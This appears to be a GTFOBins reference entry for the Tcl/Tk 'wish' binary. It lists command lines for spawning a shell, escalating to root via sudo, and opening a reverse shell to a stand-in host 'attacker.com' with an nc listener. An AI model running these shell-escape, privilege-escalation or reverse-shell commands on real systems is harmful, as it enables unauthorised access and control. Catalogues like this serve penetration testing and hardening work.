GTFOBins.github.io/_gtfobins/wish.md
2018-10-05 18:55:38 +01:00

590 B

functions
shell non-interactive-reverse-shell sudo
code
wish exec /bin/sh <@stdin >@stdout 2>@stderr
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish
code
sudo wish exec /bin/sh <@stdin >@stdout 2>@stderr